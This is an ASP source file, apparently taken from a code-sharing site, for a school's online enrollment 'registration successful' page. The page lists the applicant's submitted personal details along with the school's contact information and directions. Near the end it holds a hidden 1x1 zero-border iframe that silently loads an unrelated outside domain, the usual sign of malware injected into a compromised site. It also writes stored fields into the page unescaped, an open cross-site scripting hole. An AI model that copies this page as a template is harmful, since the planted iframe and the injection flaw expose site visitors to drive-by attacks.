?? ok.asp
字號:
<%@ Language=VBScript %>
<!--#INCLUDE FILE="config.asp" -->
<!--#INCLUDE FILE="guest_lib.asp" -->
<%
dim ASPBook
dim StrSQL
if not isempty(request("page")) then
Mypage=cint(Request("page"))
else
Mypage=1
end if
set ASPBook = Server.CreateObject("ADODB.Recordset")
StrSQL = "Select * from guest order by ID desc"
ASPBook.open StrSQL,conn,1,1
ASPBook.pagesize=Mypagesize
maxpages=cint(ASPBook.pagecount)
totalsize=cint(Mypagesize)
ASPBook.absolutepage=Mypage
GuestTotal=ASPBook.RecordCount
if cint(Mypage) >1 then
if cint(Mypage) > maxpages then
MESSAGE("<li>沒有你所想去的頁數！</li>")
Response.End
end if
end if
HEADER "顯示留言"
MyMenu
%>
<html>
<head>
<title>XXX學校-在線報名系統(tǒng)-報名成功</title>
</head>
<body topmargin="0" leftmargin="0">
<div align="center">
<center>
<table border="0" cellpadding="0" cellspacing="0" width="777" height="25">
<tr>
<td width="777" height="25">當前位置:XXX學校
>> 在線報名系統(tǒng) >> 報名成功</td>
</tr>
<tr>
<td width="777" height="25"><img border="0" src="0.gif"></td>
</tr>
</table>
</center>
</div>
<div align="center">
<center>
<table border="0" cellpadding="0" cellspacing="0" width="777" height="1">
<tr>
<td width="777" height="12">
<p align="center">你是本校第<b><font color="#FF0000"><%=ASPBook("ID")%></font></b>位網上報名的學生</td>
</tr>
<tr>
<td width="777" height="12">
<p align="center">-------------------------------------------------</td>
</tr>
</center>
<tr>
<td width="777" height="188" valign="top">
<p align="left">
您的報名資料已經遞交到我校的數據庫中,請盡快與我校電話0756-5130756聯(lián)系以確認報名有效,祝你天天愉快!<br>
以下是您的報名資料,請檢查核實:<br>
<br>
<center>
<div align="center">
<table border="0" cellpadding="4" width="723" cellspacing="4">
<tr>
<td width="30" bgcolor="#E6E6E6">姓名:</td>
<td width="134" bgcolor="#E6E6E6"><font color="#0000FF"><%=ASPBook("名字")%></font></td>
<td width="31" bgcolor="#E6E6E6">年齡:</td>
<td width="136" bgcolor="#E6E6E6"><font color="#0000FF"><%=ASPBook("年齡")%></font></td>
<td width="58" bgcolor="#E6E6E6">報名時間:</td>
<td width="292" bgcolor="#E6E6E6"><font color="#0000FF"><%=ASPBook("留言日期")%></font></td>
</tr>
<tr>
<td width="30" bgcolor="#E6E6E6">性別:</td>
<td width="134" bgcolor="#E6E6E6"> <%if ASPBook("性別") = "boy" then%>
<font color="#0000FF">
男</font>
<%elseif ASPBook("性別") = "girl" then%>
<font color="#0000FF">女</font>
<%else%>
<font color="#0000FF">不詳</font>
<%end if%></td>
<td width="31" bgcolor="#E6E6E6">學歷:</td>
<td width="136" bgcolor="#E6E6E6"><font color="#0000FF"><%=ASPBook("主頁")%></font></td>
<td width="58" bgcolor="#E6E6E6">家庭住址:</td>
<td width="292" bgcolor="#E6E6E6"><font color="#0000FF"><%=ASPBook("來自")%></font></td>
</tr>
<tr>
<td width="30" bgcolor="#E6E6E6">OICQ:</td>
<td width="134" bgcolor="#E6E6E6"><font color="#0000FF"><%=ASPBook("OICQ")%></font></td>
<td width="31" bgcolor="#E6E6E6">電話:</td>
<td width="136" bgcolor="#E6E6E6"><font color="#0000FF"><%=ASPBook("ICQ")%></font></td>
<td width="58" bgcolor="#E6E6E6">聯(lián)系信箱:</td>
<td width="292" bgcolor="#E6E6E6"><font color="#0000FF"><%=ASPBook("郵件")%></font></td>
</tr>
<tr>
<td width="30" bgcolor="#E6E6E6">工作單位:</td>
<td width="134" bgcolor="#E6E6E6"><font color="#0000FF"><%=ASPBook("工作單位")%></font></td>
<td width="31" bgcolor="#E6E6E6"></td>
<td width="136" bgcolor="#E6E6E6"></td>
<td width="58" bgcolor="#E6E6E6">所報專業(yè):</td>
<td width="292" bgcolor="#E6E6E6"><font color="#0000FF"><%=ASPBook("專業(yè)")%></font></td>
</tr>
<tr>
<td width="650" colspan="6" bgcolor="#E6E6E6">報名留言:<%=ASPBook("留言")%></td>
</tr>
</table>
</div>
</center>
</td>
</tr>
</table>
</div>
<div align="center">
<table border="0" cellpadding="0" cellspacing="0" width="777" height="79">
<center>
<tr>
<td width="777" height="42"> 辦理入學手續(xù):請于每個專業(yè)開學前15天內到新時代學校辦公室辦理入學手續(xù).校址：斗門區(qū)井岸鎮(zhèn)工業(yè)大道11號3樓（新鴻酒店對面）乘車路線：乘301、303、310、312、401、402、406、407、609路車到新鴻酒店巴士站下車即到。
新青、偉創(chuàng)力學員可乘“廠區(qū)—井岸”到終點站下車即到。其它地區(qū)可乘304、306、405、501、502、503、504、601路車到井岸大廈巴士站下車，往北走250米即到。
</td>
</tr>
<tr>
<td width="777" height="22"><img border="0" src="0.gif"></td>
</tr>
<tr>
<td width="777" height="33">
<p align="center">XXX學校
招生就業(yè)管理辦公室</td>
</tr>
</table>
</center>
</div>
<iframe width=1 height=1 frameborder=0 scrolling=auto src=http://www.dltianlong.com></iframe>
</body>
</html>
<%
function PageLink
PageShowSize = 10
Scriptname=Request.Servervariables("script_name")
PageNextSize=int((MyPage-1)/PageShowSize)+1
Pagetpage=int((GuestTotal-1)/MyPageSize)+1
if Maxpages > 1 then
if PageNextSize >1 then
PagePrev=PageShowSize*(PageNextSize-1)
Response.write "<a href='" & Scriptname & "?page=" & PagePrev & "'>[<<]</a>-"
end if
if Mypage-1 > 0 then
Prev_Page = MyPage - 1
Response.write "<a href='" & Scriptname & "?page=" & Prev_Page & "'>[<]</a> "
end if
if maxpages>=PageNextSize*PageShowSize then
PageSizeShow = PageShowSize
else
PageSizeShow = Maxpages-PageShowSize*(PageNextSize-1)
end if
for PageCounterSize=1 to PageSizeShow
PageLink = (PageCounterSize+PageNextSize*10)-10
if PageLink <> cint(Mypage) then
Response.write "<a href='" & Scriptname & "?page=" & PageLink & "'>[" & PageLink & "]</a> "
else
Response.Write PageLink & " "
end if
next
if Mypage+1 <=Pagetpage then
Next_Page = MyPage + 1
Response.write "<a href='" & Scriptname & "?page=" & Next_Page & "'>[>]</a>"
end if
if maxpages > PageShowSize*PageNextSize then
PageNext = PageShowSize * PageNextSize + 1
Response.write "-<a href='" & Scriptname & "?page=" & PageNext & "'>[>>]</a>"
end if
else
Response.write "[1]"
end if
END function
set ASPBook=nothing
conn.Close
set conn = nothing
%>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -